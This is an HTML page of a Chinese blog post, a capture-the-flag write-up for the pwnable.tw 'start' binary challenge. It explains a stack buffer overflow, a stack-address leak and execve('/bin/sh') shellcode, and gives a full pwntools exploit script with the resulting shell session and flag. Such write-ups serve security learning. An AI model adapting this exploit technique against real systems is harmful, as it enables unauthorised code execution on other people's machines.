Cool-Y.github.io/2019/10/25/PWNtw-start/index.html
2019-10-25 21:13:53 +08:00

1532 lines
64 KiB
HTML
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<!DOCTYPE html>
<html class="theme-next gemini use-motion" lang="zh-Hans">
<head><meta name="generator" content="Hexo 3.8.0">
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">
<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
<link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">
<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">
<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">
<link rel="apple-touch-icon" sizes="180x180" href="/images/hackerrank.png?v=5.1.4">
<link rel="icon" type="image/png" sizes="32x32" href="/images/hackerrank.png?v=5.1.4">
<link rel="icon" type="image/png" sizes="16x16" href="/images/hackerrank.png?v=5.1.4">
<link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">
<meta name="keywords" content="二进制,Linux,CTF,">
<meta name="description" content="Pwnable.tw start程序链接https://pwnable.tw/static/chall/start 0x01 检查保护情况不得不说checksec这个工作看似简单用用现成工具就行但这决定了我们之后漏洞利用的方式是否栈代码执行还是ROP。最好多用几个工具进行检查兼听则明。比如这个程序用peda检查就开启了NX但实际上并没有。所以理想的话把shellcode布置到栈上">
<meta name="keywords" content="二进制,Linux,CTF">
<meta property="og:type" content="article">
<meta property="og:title" content="【Pwnable.tw】start">
<meta property="og:url" content="https://cool-y.github.io/2019/10/25/PWNtw-start/index.html">
<meta property="og:site_name" content="混元霹雳手">
<meta property="og:description" content="Pwnable.tw start程序链接https://pwnable.tw/static/chall/start 0x01 检查保护情况不得不说checksec这个工作看似简单用用现成工具就行但这决定了我们之后漏洞利用的方式是否栈代码执行还是ROP。最好多用几个工具进行检查兼听则明。比如这个程序用peda检查就开启了NX但实际上并没有。所以理想的话把shellcode布置到栈上">
<meta property="og:locale" content="zh-Hans">
<meta property="og:updated_time" content="2019-10-25T13:13:04.741Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="【Pwnable.tw】start">
<meta name="twitter:description" content="Pwnable.tw start程序链接https://pwnable.tw/static/chall/start 0x01 检查保护情况不得不说checksec这个工作看似简单用用现成工具就行但这决定了我们之后漏洞利用的方式是否栈代码执行还是ROP。最好多用几个工具进行检查兼听则明。比如这个程序用peda检查就开启了NX但实际上并没有。所以理想的话把shellcode布置到栈上">
<script type="text/javascript" id="hexo.configurations">
var NexT = window.NexT || {};
var CONFIG = {
root: '/',
scheme: 'Gemini',
version: '5.1.4',
sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
fancybox: true,
tabs: true,
motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
duoshuo: {
userId: '0',
author: '博主'
},
algolia: {
applicationID: '',
apiKey: '',
indexName: '',
hits: {"per_page":10},
labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
}
};
</script>
<link rel="canonical" href="https://cool-y.github.io/2019/10/25/PWNtw-start/">
<title>【Pwnable.tw】start | 混元霹雳手</title>
</head>
<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">
<div class="container sidebar-position-left page-post-detail">
<div class="headband"></div>
<header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
<div class="header-inner"><div class="site-brand-wrapper">
<div class="site-meta ">
<div class="custom-logo-site-title">
<a href="/" class="brand" rel="start">
<span class="logo-line-before"><i></i></span>
<span class="site-title">混元霹雳手</span>
<span class="logo-line-after"><i></i></span>
</a>
</div>
<p class="site-subtitle"></p>
</div>
<div class="site-nav-toggle">
<button>
<span class="btn-bar"></span>
<span class="btn-bar"></span>
<span class="btn-bar"></span>
</button>
</div>
</div>
<nav class="site-nav">
<ul id="menu" class="menu">
<li class="menu-item menu-item-home">
<a href="/" rel="section">
<i class="menu-item-icon fa fa-fw fa-home"></i> <br>
首页
</a>
</li>
<li class="menu-item menu-item-about">
<a href="/about/" rel="section">
<i class="menu-item-icon fa fa-fw fa-user"></i> <br>
关于
</a>
</li>
<li class="menu-item menu-item-tags">
<a href="/tags/" rel="section">
<i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
标签
</a>
</li>
<li class="menu-item menu-item-categories">
<a href="/categories/" rel="section">
<i class="menu-item-icon fa fa-fw fa-th"></i> <br>
分类
</a>
</li>
<li class="menu-item menu-item-archives">
<a href="/archives/" rel="section">
<i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
归档
</a>
</li>
<li class="menu-item menu-item-bookmarks">
<a href="/bookmarks/" rel="section">
<i class="menu-item-icon fa fa-fw fa-map"></i> <br>
书签
</a>
</li>
<li class="menu-item menu-item-hack之外">
<a href="/hack之外/" rel="section">
<i class="menu-item-icon fa fa-fw fa-heartbeat"></i> <br>
HACK之外
</a>
</li>
<li class="menu-item menu-item-search">
<a href="javascript:;" class="popup-trigger">
<i class="menu-item-icon fa fa-search fa-fw"></i> <br>
搜索
</a>
</li>
</ul>
<div class="site-search">
<div class="popup search-popup local-search-popup">
<div class="local-search-header clearfix">
<span class="search-icon">
<i class="fa fa-search"></i>
</span>
<span class="popup-btn-close">
<i class="fa fa-times-circle"></i>
</span>
<div class="local-search-input-wrapper">
<input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
</div>
</div>
<div id="local-search-result"></div>
</div>
</div>
</nav>
</div>
</header>
<main id="main" class="main">
<div class="main-inner">
<div class="content-wrap">
<div id="content" class="content">
<div id="posts" class="posts-expand">
<article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
<div class="post-block">
<link itemprop="mainEntityOfPage" href="https://cool-y.github.io/2019/10/25/PWNtw-start/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="name" content="Cool-Y">
<meta itemprop="description" content>
<meta itemprop="image" content="/images/avatar.png">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="混元霹雳手">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">【Pwnable.tw】start</h1>
<div class="post-meta">
<span class="post-time">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建于" itemprop="dateCreated datePublished" datetime="2019-10-25T21:04:14+08:00">
2019-10-25
</time>
</span>
<span class="post-category">
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/Pwn/" itemprop="url" rel="index">
<span itemprop="name">Pwn</span>
</a>
</span>
</span>
<span id="/2019/10/25/PWNtw-start/" class="leancloud_visitors" data-flag-title="【Pwnable.tw】start">
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-eye"></i>
</span>
<span class="post-meta-item-text">阅读次数&#58;</span>
<span class="leancloud-visitors-count"></span>
</span>
<div class="post-wordcount">
<span class="post-meta-item-icon">
<i class="fa fa-file-word-o"></i>
</span>
<span title="字数统计">
1.5k 字
</span>
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-clock-o"></i>
</span>
<span title="阅读时长">
7 分钟
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h1 id="Pwnable-tw-start"><a href="#Pwnable-tw-start" class="headerlink" title="Pwnable.tw start"></a><a href="http://pwnable.tw/" target="_blank" rel="noopener">Pwnable.tw</a> start</h1><p>程序链接:<a href="https://pwnable.tw/static/chall/start" target="_blank" rel="noopener">https://pwnable.tw/static/chall/start</a></p>
<h2 id="0x01-检查保护情况"><a href="#0x01-检查保护情况" class="headerlink" title="0x01 检查保护情况"></a>0x01 检查保护情况</h2><p>不得不说,<a href="http://www.trapkit.de/tools/checksec.html" target="_blank" rel="noopener">checksec</a>这个工作看似简单用用现成工具就行但这决定了我们之后漏洞利用的方式是否栈代码执行还是ROP。<br>最好多用几个工具进行检查兼听则明。比如这个程序用peda检查就开启了NX但实际上并没有。所以理想的话把shellcode布置到栈上就可以了</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ checksec ./start</span><br><span class="line"> Arch: i386-32-little</span><br><span class="line"> RELRO: No RELRO</span><br><span class="line"> Stack: No canary found</span><br><span class="line"> NX: NX disabled</span><br><span class="line"> PIE: No PIE (0x8048000)</span><br></pre></td></tr></table></figure>
<p><strong>RELRO(Relocation Read Only):尽量使存储区域只读</strong></p>
<h2 id="0x02-漏洞分析"><a href="#0x02-漏洞分析" class="headerlink" title="0x02 漏洞分析"></a>0x02 漏洞分析</h2><p>用IDA逆向分析汇编代码</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">保存现场环境esp、_exit</span><br><span class="line">.text:08048060 push esp</span><br><span class="line">.text:08048061 push offset _exit</span><br><span class="line"></span><br><span class="line">清空寄存器EAX EBX ECX EDX</span><br><span class="line">.text:08048066 xor eax, eax</span><br><span class="line">.text:08048068 xor ebx, ebx</span><br><span class="line">.text:0804806A xor ecx, ecx</span><br><span class="line">.text:0804806C xor edx, edx</span><br><span class="line"></span><br><span class="line">向栈上压入参数</span><br><span class="line">.text:0804806E push 3A465443h CTF:</span><br><span class="line">.text:08048073 push 20656874h the</span><br><span class="line">.text:08048078 push 20747261h art</span><br><span class="line">.text:0804807D push 74732073h s st</span><br><span class="line">.text:08048082 push 2774654Ch Let</span><br><span class="line"></span><br><span class="line">系统调用80h</span><br><span class="line">.text:08048087 mov ecx, esp ; addr</span><br><span class="line">.text:08048089 mov dl, 14h ; len</span><br><span class="line">.text:0804808B mov bl, 1 ; fd</span><br><span class="line">.text:0804808D mov al, 4</span><br><span class="line">.text:0804808F int 80h ; LINUX - sys_write</span><br><span class="line"></span><br><span class="line">系统调用80h</span><br><span class="line">.text:08048091 xor ebx, ebx</span><br><span class="line">.text:08048093 mov dl, 3Ch</span><br><span class="line">.text:08048095 mov al, 3</span><br><span class="line">.text:08048097 int 80h ; LINUX -</span><br><span class="line"></span><br><span class="line">恢复栈平衡返回到_exit</span><br><span class="line">.text:08048099 add esp, 14h</span><br><span class="line">.text:0804809C retn</span><br><span class="line">.text:0804809C _start endp ; sp-analysis failed</span><br></pre></td></tr></table></figure>
<h3 id="INT-80h-系统调用方法"><a href="#INT-80h-系统调用方法" class="headerlink" title="INT 80h 系统调用方法"></a><strong>INT 80h 系统调用方法</strong></h3><p><strong>系统调用的过程</strong>可以总结如下:<br>1 执行用户程序(如:fork)<br>2 根据glibc中的函数实现取得系统调用号并执行int $0x80产生中断。<br>3 进行地址空间的转换和堆栈的切换执行SAVE_ALL。进行内核模式<br>4 进行中断处理,根据系统调用表调用内核函数。<br>5 执行内核函数。<br>6 执行RESTORE_ALL并返回用户模式<br>Linux 32位的系统调用时通过int 80h来实现的eax寄存器中为调用的功能号ebx、ecx、edx、esi等等寄存器则依次为参数。</p>
<p><a href="http://syscalls.kernelgrok.com/" target="_blank" rel="noopener">关于系统调用的功能号</a></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">#define __NR_exit 1</span><br><span class="line">#define __NR_fork 2</span><br><span class="line">#define __NR_read 3</span><br><span class="line">#define __NR_write 4</span><br><span class="line">#define __NR_open 5</span><br><span class="line">#define __NR_close 6</span><br><span class="line">#define __NR_waitpid 7</span><br><span class="line">#define __NR_creat 8</span><br><span class="line">#define __NR_link 9</span><br><span class="line">#define __NR_unlink 10</span><br><span class="line">#define __NR_execve 11</span><br></pre></td></tr></table></figure>
<p><strong>第一个系统调用:</strong><br>将esp开始的14h字节数据写入标准输出文件描述符1即输出”Lets start the CTF:“</p>
<table>
<thead>
<tr>
<th>name</th>
<th>eax</th>
<th>ebx</th>
<th>ecx</th>
<th>edx</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.kernel.org/doc/man-pages/online/pages/man2/write.2.html" target="_blank" rel="noopener">sys_write</a></td>
<td>0x04</td>
<td>unsigned int fd = 1</td>
<td>const char __user *buf = esp</td>
<td>size_t count =14h</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<p><strong>第二个系统调用:</strong><br>从标准输入读取3ch字节到栈空间</p>
<table>
<thead>
<tr>
<th>name</th>
<th>eax</th>
<th>ebx</th>
<th>ecx</th>
<th>edx</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.kernel.org/doc/man-pages/online/pages/man2/read.2.html" target="_blank" rel="noopener">sys_read</a></td>
<td>0x03</td>
<td>unsigned int fd = 1</td>
<td>char __user *buf = esp</td>
<td>size_t count = 3ch</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<h3 id="栈变化情况"><a href="#栈变化情况" class="headerlink" title="栈变化情况"></a>栈变化情况</h3><ol>
<li>程序执行到0804808Fsys_write</li>
</ol>
<p>输出14h字节数据Lets start the CTF:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"> +-----------------+ &lt;----</span><br><span class="line"> | Let | | </span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | s st | |</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | art | 14h</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | the | |</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | CTF: | |</span><br><span class="line"> +-----------------+ &lt;-----</span><br><span class="line"> | offset _exit |</span><br><span class="line"> +-----------------+</span><br><span class="line"> | Saved ESP |</span><br><span class="line">H-&gt; +-----------------+</span><br></pre></td></tr></table></figure>
<ol>
<li>08048097: sys_read</li>
</ol>
<p>read函数最多可以读取3ch字节超出了分配的空间可以用来覆盖ret_addr和esp。经调试验证20字节后覆盖ret24字节后覆盖esp。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ pattern search</span><br><span class="line">Registers contain pattern buffer:</span><br><span class="line">EIP+0 found at offset: 20</span><br><span class="line">Registers point to pattern buffer:</span><br><span class="line">[ECX] --&gt; offset 0 - size ~32</span><br><span class="line">[ESP] --&gt; offset 24 - size ~8</span><br><span class="line">Pattern buffer found at:</span><br><span class="line">0xffcc2764 : offset 0 - size 30 ($sp + -0x18 [-6 dwords])</span><br><span class="line">Reference to pattern buffer not found in memory</span><br></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"> +-----------------+ &lt;----</span><br><span class="line"> | aaaa | | </span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | aaaa | |</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | aaaa | 14h</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | aaaa | |</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | aaaa | |</span><br><span class="line"> +-----------------+ &lt;-----</span><br><span class="line"> | aaaa |</span><br><span class="line"> +-----------------+</span><br><span class="line"> | Saved ESP |</span><br><span class="line">H-&gt; +-----------------+</span><br></pre></td></tr></table></figure>
<h2 id="0x03-漏洞利用"><a href="#0x03-漏洞利用" class="headerlink" title="0x03 漏洞利用"></a>0x03 漏洞利用</h2><h3 id="利用思路"><a href="#利用思路" class="headerlink" title="利用思路"></a>利用思路</h3><p>现在EIP已经在我们的掌控之中了关键是如何跳转到布置的shell code中。一般来说首先会去找JMP ESP指令这样就能让shellcode获得执行。但这段汇编代码没有可以利用的只有read和write。如果可以write出Saved ESP的地址然后覆盖掉offset _exit就能成功shell。</p>
<ol>
<li>泄露Saved ESP</li>
</ol>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">start = p.recvuntil(&apos;:&apos;) //等待write执行完毕</span><br><span class="line">payload = &apos;a&apos;*0x14 + p32(0x08048087) //发送溢出数据覆盖ret为0x08048087-&gt;输出14h字节</span><br><span class="line">p.send(payload)</span><br><span class="line">data = p.recv() //接收输出数据其中就有Saved ESP</span><br></pre></td></tr></table></figure>
<p>debug过程</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">[DEBUG] Received 0x14 bytes:</span><br><span class="line"> &quot;Let&apos;s start the CTF:&quot;</span><br><span class="line">[DEBUG] Sent 0x18 bytes:</span><br><span class="line"> 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│</span><br><span class="line"> 00000010 61 61 61 61 87 80 04 08 │aaaa│····││</span><br><span class="line"> 00000018</span><br><span class="line">[DEBUG] Received 0x14 bytes:</span><br><span class="line"> 00000000 **20 53 81**** ff** 01 00 00 00 58 6d 81 ff 00 00 00 00 │ S··│····│Xm··│····│</span><br><span class="line"> 00000010 60 6d 81 ff │`m··││</span><br><span class="line"> 00000014</span><br></pre></td></tr></table></figure>
<ol start="2">
<li>覆盖RET</li>
</ol>
<p>此时程序已经泄露出之前的Saved_esp栈的情况已经摸清了然后程序继续执行read注意read完 add esp, 14h后再ret因此ret_addr在esp+14h的地方。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">payload = &apos;a&apos;*0x14 + p32(saved_esp + 20) + shellcode</span><br><span class="line">print p32(saved_esp)</span><br><span class="line">p.send(payload)</span><br></pre></td></tr></table></figure>
<ol start="3">
<li>shellcode</li>
</ol>
<p>shellcode同样可以用系统调用的方式执行execve(“/bin/sh”,NULL,NULL)</p>
<table>
<thead>
<tr>
<th>name</th>
<th>eax</th>
<th>ebx</th>
<th>ecx</th>
<th>edx</th>
<th>esi</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.kernel.org/doc/man-pages/online/pages/man2/execve.2.html" target="_blank" rel="noopener">sys_execve</a></td>
<td>0x0b</td>
<td>char __user *</td>
<td>char <strong>user *</strong>user *</td>
<td>char <strong>user *</strong>user *</td>
<td><a href="http://lxr.free-electrons.com/source/arch/alpha/include/asm/ptrace.h?v=2.6.35#L19" target="_blank" rel="noopener">struct pt_regs</a></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<p>其中,该程序是 32 位,所以我们需要使得</p>
<ul>
<li>系统调用号,即 eax 应该为 0xb</li>
<li>第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。</li>
<li>第二个参数,即 ecx 应该为 0</li>
<li>第三个参数,即 edx 应该为 0</li>
</ul>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">xor eax,eax //清空eax</span><br><span class="line">push eax //0入栈当作字符/bin/sh结尾</span><br><span class="line">push &apos;/sh&apos;</span><br><span class="line">push &apos;/bin&apos; //&apos;/sh&apos;为3字节未对齐&apos; -&gt;&apos;/sh\0&apos;或//sh</span><br><span class="line">mov ebx, esp //指向/bin/sh地址</span><br><span class="line">xor ecx,ecx</span><br><span class="line">xor edx,edx</span><br><span class="line">mov al, 0xb //系统调用号</span><br><span class="line">int 80</span><br></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">shellcode=&apos;&apos;&apos;</span><br><span class="line">xor eax,eax</span><br><span class="line">push eax</span><br><span class="line">push %s</span><br><span class="line">push %s</span><br><span class="line">mov ebx, esp</span><br><span class="line">xor ecx,ecx</span><br><span class="line">xor edx,edx</span><br><span class="line">mov al, 0xb</span><br><span class="line">int 0x80&apos;&apos;&apos; %(u32(&apos;/sh\0&apos;),u32(&apos;/bin&apos;))</span><br></pre></td></tr></table></figure>
<p>使用asm(shellcode)来进行汇编,可以使用context来指定cpu类型以及操作系统如context(arch = amd64 , os = linux, log_level=”debug”)</p>
<h3 id="Catch-THE-FLAG"><a href="#Catch-THE-FLAG" class="headerlink" title="Catch THE FLAG"></a>Catch THE FLAG</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> binascii <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">shellcode=<span class="string">'''</span></span><br><span class="line"><span class="string">xor eax,eax</span></span><br><span class="line"><span class="string">push eax</span></span><br><span class="line"><span class="string">push %s</span></span><br><span class="line"><span class="string">push %s</span></span><br><span class="line"><span class="string">mov ebx, esp</span></span><br><span class="line"><span class="string">xor ecx,ecx</span></span><br><span class="line"><span class="string">xor edx,edx</span></span><br><span class="line"><span class="string">mov al, 0xb</span></span><br><span class="line"><span class="string">int 0x80'''</span> %(u32(<span class="string">'/sh\0'</span>),u32(<span class="string">'/bin'</span>))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dbg</span><span class="params">()</span>:</span></span><br><span class="line"> p = process(<span class="string">'./start'</span>)</span><br><span class="line"> context.terminal = [<span class="string">'gnome-terminal'</span>, <span class="string">'-x'</span>, <span class="string">'sh'</span>, <span class="string">'-c'</span>]</span><br><span class="line"> context.log_level = <span class="string">'debug'</span></span><br><span class="line"> gdb.attach(proc.pidof(p)[<span class="number">0</span>])</span><br><span class="line"> pause()</span><br><span class="line"> <span class="keyword">return</span> p</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leak_esp</span><span class="params">(p)</span>:</span></span><br><span class="line"> start = p.recvuntil(<span class="string">':'</span>)</span><br><span class="line"> payload = <span class="string">'a'</span>*<span class="number">0x14</span> + p32(<span class="number">0x08048087</span>)</span><br><span class="line"> p.send(payload)</span><br><span class="line"> saved_esp = p.recv()[:<span class="number">4</span>]</span><br><span class="line"> <span class="keyword">return</span> u32(saved_esp)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">pwn</span><span class="params">(p,saved_esp)</span>:</span></span><br><span class="line"> payload = <span class="string">'a'</span>*<span class="number">0x14</span> + p32(saved_esp + <span class="number">20</span>) + asm(shellcode)</span><br><span class="line"> p.send(payload)</span><br><span class="line"> p.interactive()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> <span class="comment"># p = dbg()</span></span><br><span class="line"> <span class="comment"># p = process("./start")</span></span><br><span class="line"> p = remote(<span class="string">"chall.pwnable.tw"</span>,<span class="number">10000</span>)</span><br><span class="line"> saved_esp = leak_esp(p)</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"leak saved_esp: %s"</span> %hex(saved_esp+<span class="number">20</span>)</span><br><span class="line"> pwn(p,saved_esp)</span><br></pre></td></tr></table></figure>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span> python ./start.py</span><br><span class="line">[+] Opening connection to chall.pwnable.tw on port 10000: Done</span><br><span class="line">leak saved_esp: 0xffb43704</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line"><span class="meta">$</span> whoami</span><br><span class="line">start</span><br><span class="line"><span class="meta">$</span> find -name flag</span><br><span class="line">./home/start/flag</span><br><span class="line"><span class="meta">$</span> cat ./home/start/flag</span><br><span class="line">FLAG&#123;Pwn4bl3_tW_1s_y0ur_st4rt&#125;</span><br></pre></td></tr></table></figure>
<p>##</p>
<h2 id="REF"><a href="#REF" class="headerlink" title="REF"></a>REF</h2><p><a href="https://introspelliam.github.io/2017/08/06/pwn/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E7%BA%A6%E5%AE%9A/" target="_blank" rel="noopener">Linux 系统调用</a></p>
<p><strong>pwntools使用</strong><br><a href="http://brieflyx.me/2015/python-module/pwntools-intro/" target="_blank" rel="noopener">http://brieflyx.me/2015/python-module/pwntools-intro/</a><br><a href="https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/" target="_blank" rel="noopener">https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/</a><br><a href="https://tianstcht.github.io/pwntools%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/" target="_blank" rel="noopener">https://tianstcht.github.io/pwntools%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/</a></p>
</div>
<div>
<div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
<div>您的支持将鼓励我继续创作!</div>
<button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
<span>打赏</span>
</button>
<div id="QR" style="display: none;">
<div id="wechat" style="display: inline-block">
<img id="wechat_qr" src="/images/Wechatpay.png" alt="Cool-Y 微信支付">
<p>微信支付</p>
</div>
<div id="alipay" style="display: inline-block">
<img id="alipay_qr" src="/images/Alipay.png" alt="Cool-Y 支付宝">
<p>支付宝</p>
</div>
</div>
</div>
</div>
<footer class="post-footer">
<div class="post-tags">
<a href="/tags/二进制/" rel="tag"># 二进制</a>
<a href="/tags/Linux/" rel="tag"># Linux</a>
<a href="/tags/CTF/" rel="tag"># CTF</a>
</div>
<div class="post-nav">
